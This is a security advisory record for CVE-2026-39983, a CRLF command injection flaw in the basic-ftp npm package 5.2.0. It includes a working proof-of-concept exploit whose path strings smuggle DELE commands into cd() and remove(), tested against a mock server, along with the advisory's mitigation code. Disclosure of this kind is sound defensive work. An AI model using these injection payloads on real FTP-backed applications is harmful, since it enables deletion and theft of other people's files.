{"id":"GHSA-chqc-8p9q-pq6q","summary":"basic-ftp has FTP Command Injection via CRLF","details":"## Summary\n\n`basic-ftp` version `5.2.0` allows FTP command injection via CRLF sequences (`\\r\\n`) in file path parameters passed to high-level path APIs such as `cd()`, `remove()`, `rename()`, `uploadFrom()`, `downloadTo()`, `list()`, and `removeDir()`. The library's `protectWhitespace()` helper only handles leading spaces and returns other paths unchanged, while `FtpContext.send()` writes the resulting command string directly to the control socket with `\\r\\n` appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.\n\n## Affected product\n\n| Product | Affected versions | Fixed version |\n| --- | --- | --- |\n| basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 |\n\n## Vulnerability details\n\n- CWE: `CWE-93` - Improper Neutralization of CRLF Sequences ('CRLF Injection')\n- CVSS 3.1: `8.6` (`High`)\n- Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L`\n- Affected component: `dist/Client.js`, all path-handling methods via `protectWhitespace()` and `send()`\n\nThe vulnerability exists because of two interacting code patterns:\n\n**1. Inadequate path sanitization in `protectWhitespace()` (line 677):**\n\n```javascript\nasync protectWhitespace(path) {\n    if (!path.startsWith(\" \")) {\n        return path;  // No sanitization of \\r\\n characters\n    }\n    const pwd = await this.pwd();\n    const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n    return absolutePathPrefix + path;\n}\n```\n\nThis function only handles leading whitespace. It does not strip or reject `\\r` (0x0D) or `\\n` (0x0A) characters anywhere in the path string.\n\n**2. Direct socket write in `send()` (FtpContext.js line 177):**\n\n```javascript\nsend(command) {\n    this._socket.write(command + \"\\r\\n\", this.encoding);\n}\n```\n\nThe `send()` method appends `\\r\\n` to the command and writes directly to the TCP socket. If the command string already contains `\\r\\n` sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.\n\n**Affected methods** (all call `protectWhitespace()` → `send()`):\n- `cd(path)` → `CWD ${path}`\n- `remove(path)` → `DELE ${path}`\n- `list(path)` → `LIST ${path}`\n- `downloadTo(localPath, remotePath)` → `RETR ${remotePath}`\n- `uploadFrom(localPath, remotePath)` → `STOR ${remotePath}`\n- `rename(srcPath, destPath)` → `RNFR ${srcPath}` / `RNTO ${destPath}`\n- `removeDir(path)` → `RMD ${path}`\n\n## Technical impact\n\nAn attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:\n\n1. **Arbitrary file deletion**: Inject `DELE /critical-file` to delete files on the FTP server\n2. **Directory manipulation**: Inject `MKD` or `RMD` commands to create/remove directories\n3. **File exfiltration**: Inject `RETR` commands to trigger downloads of unintended files\n4. **Server command execution**: On FTP servers supporting `SITE EXEC`, inject system commands\n5. **Session hijacking**: Inject `USER`/`PASS` commands to re-authenticate as a different user\n6. **Service disruption**: Inject `QUIT` to terminate the FTP session unexpectedly\n\nThe attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server.\n\n## Proof of concept\n\n**Prerequisites:**\n\n```bash\nmkdir basic-ftp-poc && cd basic-ftp-poc\nnpm init -y\nnpm install basic-ftp@5.2.0\n```\n\n**Mock FTP server (ftp-server-mock.js):**\n\n```javascript\nconst net = require('net');\nconst server = net.createServer(conn =\u003e {\n  console.log('[+] Client connected');\n  conn.write('220 Mock FTP\\r\\n');\n  let buffer = '';\n  conn.on('data', data =\u003e {\n    buffer += data.toString();\n    const lines = buffer.split('\\r\\n');\n    buffer = lines.pop();\n    for (const line of lines) {\n      if (!line) continue;\n      console.log('[CMD] ' + JSON.stringify(line));\n      if (line.startsWith('USER')) conn.write('331 OK\\r\\n');\n      else if (line.startsWith('PASS')) conn.write('230 Logged in\\r\\n');\n      else if (line.startsWith('FEAT')) conn.write('211 End\\r\\n');\n      else if (line.startsWith('TYPE')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('PWD'))  conn.write('257 \"/\"\\r\\n');\n      else if (line.startsWith('OPTS')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('STRU')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('CWD'))  conn.write('250 OK\\r\\n');\n      else if (line.startsWith('DELE')) conn.write('250 Deleted\\r\\n');\n      else if (line.startsWith('QUIT')) { conn.write('221 Bye\\r\\n'); conn.end(); }\n      else conn.write('200 OK\\r\\n');\n    }\n  });\n});\nserver.listen(2121, () =\u003e console.log('[*] Mock FTP on port 2121'));\n```\n\n**Exploit (poc.js):**\n\n```javascript\nconst ftp = require('basic-ftp');\n\nasync function exploit() {\n  const client = new ftp.Client();\n  client.ftp.verbose = true;\n  try {\n    await client.access({\n      host: '127.0.0.1',\n      port: 2121,\n      user: 'anonymous',\n      password: 'anonymous'\n    });\n\n    // Attack 1: Inject DELE command via cd()\n    // Intended: CWD harmless.txt\n    // Actual:   CWD harmless.txt\\r\\nDELE /important-file.txt\n    const maliciousPath = \"harmless.txt\\r\\nDELE /important-file.txt\";\n    console.log('\\n=== Attack 1: DELE injection via cd() ===');\n    try { await client.cd(maliciousPath); } catch(e) {}\n\n    // Attack 2: Double DELE via remove()\n    const maliciousPath2 = \"decoy.txt\\r\\nDELE /secret-data.txt\";\n    console.log('\\n=== Attack 2: DELE injection via remove() ===');\n    try { await client.remove(maliciousPath2); } catch(e) {}\n\n  } finally {\n    client.close();\n  }\n}\nexploit();\n```\n\n**Running the PoC:**\n\n```bash\n# Terminal 1: Start mock FTP server\nnode ftp-server-mock.js\n\n# Terminal 2: Run exploit\nnode poc.js\n```\n\n**Expected output on mock server:**\n\n```\n\"OPTS UTF8 ON\"\n\"USER anonymous\"\n\"PASS anonymous\"\n\"FEAT\"\n\"TYPE I\"\n\"STRU F\"\n\"OPTS UTF8 ON\"\n\"CWD harmless.txt\"\n\"DELE /important-file.txt\"   \u003c-- injected from cd()\n\"DELE decoy.txt\"\n\"DELE /secret-data.txt\"      \u003c-- injected from remove()\n\"QUIT\"\n```\n\nThis command trace was reproduced against the published `basic-ftp@5.2.0`\npackage on Linux with a local mock FTP server. The injected `DELE` commands are\nreceived as distinct FTP commands, confirming that CRLF inside path parameters\nis not neutralized before socket write.\n\n## Mitigation\n\n**Immediate workaround**: Sanitize all path inputs before passing them to basic-ftp:\n\n```javascript\nfunction sanitizeFtpPath(path) {\n  if (/[\\r\\n]/.test(path)) {\n    throw new Error('Invalid FTP path: contains control characters');\n  }\n  return path;\n}\n\n// Usage\nawait client.cd(sanitizeFtpPath(userInput));\n```\n\n**Recommended fix for basic-ftp**: The `protectWhitespace()` function (or a new validation layer) should reject or strip `\\r` and `\\n` characters from all path inputs:\n\n```javascript\nasync protectWhitespace(path) {\n    // Reject CRLF injection attempts\n    if (/[\\r\\n\\0]/.test(path)) {\n        throw new Error('Invalid path: contains control characters');\n    }\n    if (!path.startsWith(\" \")) {\n        return path;\n    }\n    const pwd = await this.pwd();\n    const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n    return absolutePathPrefix + path;\n}\n```\n\n## References\n\n- [npm package: basic-ftp](https://www.npmjs.com/package/basic-ftp)\n- [GitHub repository](https://github.com/patrickjuchli/basic-ftp)\n- [Vulnerable source: Client.js protectWhitespace()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/Client.ts)\n- [Vulnerable source: FtpContext.js send()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/FtpContext.ts)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [OWASP: CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)","aliases":["CVE-2026-39983"],"modified":"2026-09-10T03:50:43.950067890Z","published":"2026-04-08T20:02:25Z","database_specific":{"cwe_ids":["CWE-93"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-08T20:02:25Z","nvd_published_at":"2026-04-09T18:17:02Z"},"references":[{"type":"WEB","url":"https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39983"},{"type":"WEB","url":"https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b"},{"type":"PACKAGE","url":"https://github.com/patrickjuchli/basic-ftp"},{"type":"WEB","url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1"}],"affected":[{"package":{"name":"basic-ftp","ecosystem":"npm","purl":"pkg:npm/basic-ftp"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.2.0"},{"fixed":"5.2.1"}]}],"versions":["5.2.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-chqc-8p9q-pq6q/GHSA-chqc-8p9q-pq6q.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L"}]}